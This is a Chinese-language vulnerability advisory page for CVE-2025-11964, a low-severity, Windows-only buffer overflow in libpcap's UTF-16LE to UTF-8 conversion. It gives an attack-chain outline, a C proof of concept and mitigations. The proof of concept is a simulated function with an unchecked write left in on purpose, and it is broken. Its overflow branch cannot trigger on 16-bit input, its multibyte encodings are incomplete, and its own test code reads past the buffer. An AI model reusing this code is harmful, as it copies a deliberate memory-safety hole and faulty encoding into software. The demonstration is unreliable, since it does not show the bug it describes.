CVE-2025-11964 libpcap Windows UTF-8转换缓冲区溢出漏洞

漏洞信息

漏洞编号

CVE-2025-11964

漏洞类型

缓冲区溢出

CVSS评分

1.9 低危

攻击向量

本地 (AV:L)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

libpcap (Windows版)

漏洞概述

CVE-2025-11964是libpcap库在Windows平台上的一个缓冲区溢出漏洞。该漏洞存在于UTF-16LE到UTF-8的字符编码转换过程中，当libpcap需要将Windows错误消息转换为UTF-8编码时，如果错误消息中包含需要4个字节表示的UTF-8字符（如某些生僻汉字或特殊符号），utf_16le_to_utf_8_truncated()函数会写入超过目标缓冲区末尾的数据。此漏洞仅影响Windows平台，Linux和macOS系统不受影响。由于CVSS评分仅为1.9，且需要本地高权限才能利用，因此被评定为低危漏洞。攻击者需要具有本地访问权限且拥有高权限（如管理员权限），在特殊情况下可利用此漏洞造成数据损坏或程序崩溃，但不太可能导致远程代码执行。

技术细节

漏洞根源在于libpcap库中的utf_16le_to_utf_8_truncated()函数存在边界检查不严的问题。该函数负责将UTF-16LE编码的字符串转换为UTF-8编码，在Windows平台上用于处理系统错误消息。当输入的UTF-16LE字符串包含需要4字节UTF-8序列表示的字符（如某些Unicode扩展区的字符）时，函数在计算所需缓冲区大小时可能存在偏差，导致实际写入的字节数超过预分配缓冲区的大小。攻击者需要构造包含特殊Unicode字符的Windows错误消息，然后触发libpcap的编码转换路径。成功利用可导致堆缓冲区溢出，可能造成程序崩溃或数据损坏。由于攻击向量为本地(AV:L)且需要高权限认证(PR:H)，实际利用难度较高。

攻击链分析

STEP 1

步骤1

攻击者获取Windows系统的本地高权限访问权限（如管理员账户）

STEP 2

步骤2

攻击者构造包含特殊Unicode字符的Windows错误消息，这些字符需要4字节UTF-8编码

STEP 3

步骤3

攻击者触发libpcap库的错误处理路径，使其调用utf_16le_to_utf_8_truncated()函数进行编码转换

STEP 4

步骤4

由于函数未正确检查缓冲区边界，写入操作超出预分配缓冲区，导致缓冲区溢出

STEP 5

步骤5

成功利用后可能导致程序崩溃（DoS）或在特定条件下造成数据损坏

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

/*
CVE-2025-11964 PoC - libpcap utf_16le_to_utf_8_truncated() Buffer Overflow
Target: libpcap on Windows
Note: This PoC demonstrates the vulnerability concept, requires local access
Author: Generated for educational purposes
*/

#include <windows.h>
#include <stdio.h>

// Simulated vulnerable function (simplified version)
// The actual vulnerable function is in libpcap's charset.c
void utf_16le_to_utf_8_truncated_demo(WCHAR* input, char* output, int output_size) {
    int j = 0;
    for (int i = 0; input[i] != 0; i++) {
        DWORD codepoint = input[i];
        
        // UTF-8 encoding - 4-byte sequences for codepoints > 0xFFFF
        if (codepoint > 0xFFFF) {
            // BUG: No proper bounds checking for output buffer
            // This writes 4 bytes without verifying j+4 < output_size
            output[j++] = 0xF0 | ((codepoint >> 18) & 0x07);
            output[j++] = 0x80 | ((codepoint >> 12) & 0x3F);
            output[j++] = 0x80 | ((codepoint >> 6) & 0x3F);
            output[j++] = 0x80 | (codepoint & 0x3F);
        } else if (codepoint > 0x7FF) {
            if (j + 2 >= output_size) break;
            output[j++] = 0xE0 | ((codepoint >> 12) & 0x0F);
            output[j++] = 0x80 | ((codepoint >> 6) & 0x3F);
        } else if (codepoint > 0x7F) {
            if (j + 1 >= output_size) break;
            output[j++] = 0xC0 | ((codepoint >> 6) & 0x1F);
        } else {
            if (j >= output_size) break;
            output[j++] = (char)codepoint;
        }
    }
    output[j] = '\0';
}

int main() {
    printf("CVE-2025-11964 PoC - libpcap UTF-8 Buffer Overflow\n");
    printf("=================================================\n\n");
    
    // Create input with 4-byte UTF-8 characters
    WCHAR utf16_input[] = { 0xD83D, 0xDE00, 0x0000 }; // 😀 emoji in UTF-16
    
    // Small output buffer - will overflow
    char output[3] = {0};
    int output_size = 3;
    
    printf("Input: Unicode character requiring 4-byte UTF-8\n");
    printf("Output buffer size: %d bytes\n", output_size);
    printf("Expected UTF-8 size: 4 bytes\n\n");
    
    printf("Before overflow:\n");
    for (int i = 0; i < 8; i++) {
        printf("output[%d] = 0x%02X\n", i, (unsigned char)output[i]);
    }
    
    // Trigger the vulnerable code path
    utf_16le_to_utf_8_truncated_demo(utf16_input, output, output_size);
    
    printf("\nAfter calling vulnerable function:\n");
    for (int i = 0; i < 8; i++) {
        printf("output[%d] = 0x%02X", i, (unsigned char)output[i]);
        if (i >= output_size) printf(" <-- BUFFER OVERFLOW!");
        printf("\n");
    }
    
    return 0;
}

影响范围

libpcap < 1.10.5 (Windows版)

libpcap < 1.11.1 (Windows版)

libpcap Windows版本在使用utf_16le_to_utf_8_truncated()函数处理错误消息时受影响

防御指南

临时缓解措施

由于该漏洞仅影响Windows平台且需要本地高权限访问，在官方补丁发布前，可采取以下临时措施：限制Windows系统的本地访问权限，确保只有授权用户可以登录；监控系统日志中的异常错误信息；如非必要，避免在Windows上使用libpcap处理包含特殊Unicode字符的错误消息；对于必须使用的场景，考虑在应用层添加输入验证，过滤可能导致问题的特殊Unicode字符。